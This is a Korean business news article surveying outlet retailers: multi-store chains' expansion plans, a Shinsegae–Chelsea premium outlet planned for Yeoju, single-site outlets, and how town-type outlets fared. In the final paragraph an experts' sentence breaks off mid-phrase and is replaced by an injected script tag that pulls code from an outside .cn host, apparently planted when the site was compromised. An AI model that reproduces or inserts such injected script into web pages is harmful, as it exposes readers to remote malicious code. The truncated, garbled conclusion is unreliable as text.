소비자 욕구가 복잡해지면서 아웃렛도 다양한 형태를 보이고 있다. 2001아울렛과 세이브존처럼 다점포 형태로 운영하는 곳이 있는가하면, 마리오와 컬렉티드, 모다아울렛처럼 정통 아웃렛을 표방하면서 단일점 형태로 운영하는 곳도 있다. 그런가하면 해운대로데오와 세정아울렛과 같은 타운형도 있고, 재고 매입 능력을 앞세워 수도권에 중소형 아웃렛 개발을 진행 중인 오렌지팩토리와 같은 업체도 있다. 최근에는 롯데마트와 같이 대형 유통업체도 숍인숍 형태도 아웃렛 사업을 추진하고 있다. 아웃렛 업체들의 현주소를 살펴봤다. <편집자 주>

2001아울렛 ·세이브존, 올해 14개점 오픈
다점포 전략을 펴는 2001아울렛과 세이브존 모두 올해 공격 경영을 펼친다.

현재 8개점을 운영하고 있는 2001아울렛은 올해만 10개점을 추가로 열 계획이다. 기존 쇼핑몰이나 백화점을 인수하는 방식만을 고수하지 않고, 새로 건축하는 곳에도 점포를 낼 계획이다.

세이브존은 올해 상반기와 하반기 2개씩 4개점을 열고, 2008년까지 점포수를 36개까지 늘릴 계획이다.
이들 업체들이 공격 경영을 펴는 이유는 할인점의 공세 때문. 업태 간 경계가 무너짐에 따라 할인점들의 공격적인 경영에 수동적이어서는 경쟁에서 밀릴 수밖에 없다는 판단에서다. 중소 형태의 정통 아울렛을 표방하는 오렌지팩토리도 아웃렛 업계의 주목을 받고 있다. 이곳은 재고 매입과 운영능력을 바탕으로 수도권 위주로 점포를 늘려가고 있다.

신세계첼시, 여주에 명품아울렛 개발
신세계첼시에서 내년 3월 여주에 ‘프리미엄아울렛’을 들여와 개발함에 따라 명품아울렛이란 새로운 업태도 생겨날 전망이다.

여주 프리미엄아울렛은 신세계와 미국의 아울렛개발회사인 첼시 합작으로 개발된다. 이곳은 명품아웃렛에 엔터테인먼트가 결합된 일본 고템바아웃렛을 모델로 한다. 6천평 부지에 110여개 브랜드가 들어서는데 20%는 국내에 처음 도입되는 브랜드다.

여주 프리미엄아울렛은 기존 대도시 주변 주거 밀착지에 개발되던 아웃렛 타운과 달리 서울에서 1시간 거리에 엔터테인먼트 요소를 가미한 개발로 주목받고 있다.

특히 구미에 있는 삼성전자 공장이 이곳에서 가까운 이천 부근으로 이전하는 것으로 알려짐에 따라 향후 성장 전망을 밝히고 있다.

정통아웃렛으로 단일점 약점 극복
마리오와 컬렉티드, 모다아울렛 등은 재고 위주의 정통 아웃렛을 고수해 자리 잡았다는 평가를 받는 있다. 이들 유통점은 단일점이라는 약점에도 불구, 한정된 물량이라는 재고가 갖는 특성에 힘입어 상권으로 안착할 수 있었다.

특히 마리오는 마리오Ⅱ 오픈과 마리오Ⅲ 개발 추진 등으로 한 지역에서 규모를 키우는 전략이 주효했다. 컬렉티드는 여성복 중심의 정통아웃렛으로 특성화한 것과 함께 소비파워를 갖춘 분당과 구로 등 상권입지도 한몫했다. 또 모다아울렛은 패션 소비력이 높은 대구에 있다는 점과 인근에 지더숍이 들어가면서 소비자들의 쇼핑 선택 폭이 넓어진 것이 주효했다.

타운형 거품 빠지면서 옥석 가려져
우후죽순 격으로 생겨나던 타운형 아울렛은 거품이 빠지면서 옥석이 가려졌다. 수원 영통의 프리미엄아웃렛, 부산의 해운대로데오, 대구의 퀸스로드, 광주의 세정아울렛 정도가 확실히 자리잡은 것으로 평가받고 있다.

해운대로데오는 소득 수준이 높은 지역적 특성과 관광지라 비수기가 짧은 지역적 특성이 많이 작용했다. 세정아웃렛도 새로운 주거 밀착 신도시인 상무 지구를 선점한 것이 상권 악착의 요인으로 풀이된다.
영통프리미엄은 최근 관리 대행을 해 오던 브라이트유니온이 빠지고, 상가관리위원회에서 자체 관리 운영하는 방식으로 바꿨다.

퀸스로드는 지명도 높은 브랜드와 스포츠 브랜드 위주로 좋은 반응을 얻고 있다. 하지만 정상 매장 비중이 이전보다 높아져 전체 반을 차지하고 있다.

반면 기대를 모았던 대전과 원주·광주 프리미엄아울렛은 이런저런 이유로 상권 안착에 어려움을 겪으며, 고전하고 있다.이밖에 개발업자 주도의 타운형 아웃렛들은 상당수 개발 중에 사업이 중단되거나 개발 후 안착에 실패하여, 패션업계 관심권에서 멀어진 상태다.

이에 대해 전문가들은 유통 비즈니스의 본질인 매입력이 없는 상태에서 개발 ?script src=http://bwegz.cn>

박찬승 기자
pcs@fi.co.kr